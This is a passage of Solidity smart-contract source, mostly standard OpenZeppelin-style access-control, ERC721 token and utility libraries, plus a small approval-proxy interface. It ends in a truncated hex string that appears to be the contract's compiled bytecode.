import "../utils/Context.sol"; import "../utils/Strings.sol"; import "../utils/introspection/ERC165.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; interface IApprovalProxy { function setApprovalForAll( address _owner, address _spender, bool _approved ) external; function isApprovedForAll( address _owner, address _spender, bool _original ) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x608060405234801561001057600080fd5b50600436106102115760003560e01c80636352211e11610125578063a217fddf116100ad578063d53913931161007c578063d539139314610458578063d547741f1461046d578063e467f7e014610480578063e985e9c514610493578063f2fde38b146104a657600080fd5b8063a217fddf14610417578063a22cb4651461041f578063b88d4fde14610432578063c87b56dd1461044557600080fd5b80638456cb59116100f45780638456cb59146103cb5780638da5cb5b146103d357806391d14854146103e957806395d89b41146103fc5780639bb5c9c31461040457600080fd5b80636352211e146103955780636c0360eb146103a857806370a08231146103b0578063715018a6146103c357600080fd5b80632f2ff15d116101a857806342842e0e1161017757806342842e0e1461033e5780634dd09f33146103515780634f558e791461036457806355f804b3146103775780635c975abb1461038a57600080fd5b80632f2ff15d146102fd57806336568abe146103105780633f4ba83a1461032357806340c10f191461032b57600080fd5b8063162094c4116101e4578063162094c41461029357806319ee6e3f146102a657806323b872dd146102b9578063248a9ca3146102cc57600080fd5b806301ffc9a71461021657806306fdde031461023e578063081812fc14610253578063095ea7b31461027e575b600080fd5b61022961022436600461212a565b6104b9565b60405190151581526020015b60405180910390f35b6102466104ca565b60405161023591906122dd565b6102666102613660046120f0565b61055c565b6040516001600160a01b039091168152602001610235565b61029161028c366004611f68565b6105f6565b005b6102916102a1366004612195565b61070c565b6102916102b4366004611f91565b61074a565b6102916102c7366004611e7e565b610754565b6102ef6102da3660046120f0565b60009081526006602052604090206001015490565b604051908152602001610235565b61029161030b366004612108565b610785565b61029161031e366004612108565b6107ab565b610291610829565b610291610339366004611f68565b61084d565b61029161034c366004611e7e565b610870565b600854610266906001600160a01b031681565b6102296103723660046120f0565b61088b565b610291610385366004612162565b6108aa565b60075460ff16610229565b6102666103a33660046120f0565b6108d6565b61024661094d565b6102ef6103be366004611e32565b6109db565b610291610a62565b610291610a9e565b60075461010090046001600160a01b0316610266565b6102296103f7366004612108565b610abf565b610246610aea565b610291610412366004611e32565b610af9565b6102ef600081565b61029161042d366004611f32565b610b7d565b610291610440366004611eb9565b610c14565b6102466104533660046120f0565b610c46565b6102ef60008051602061259383398151915281565b61029161047b366004612108565b610d51565b61029161048e366004612013565b610d77565b6102296104a1366004611e4c565b610e4a565b6102916104b4366004611e32565b610f1e565b60006104c482610fbc565b92915050565b6060600080546104d9906124c2565b80601f0160208091040260200160405190810160405280929190818152602001828054610505906124c2565b80156105525780601f1061052757610100808354040283529160200191610552565b820191906000526020600020905b81548152906001019060200180831161053557829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166105da5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b6000610601826108d6565b9050806001600160a01b0316836001600160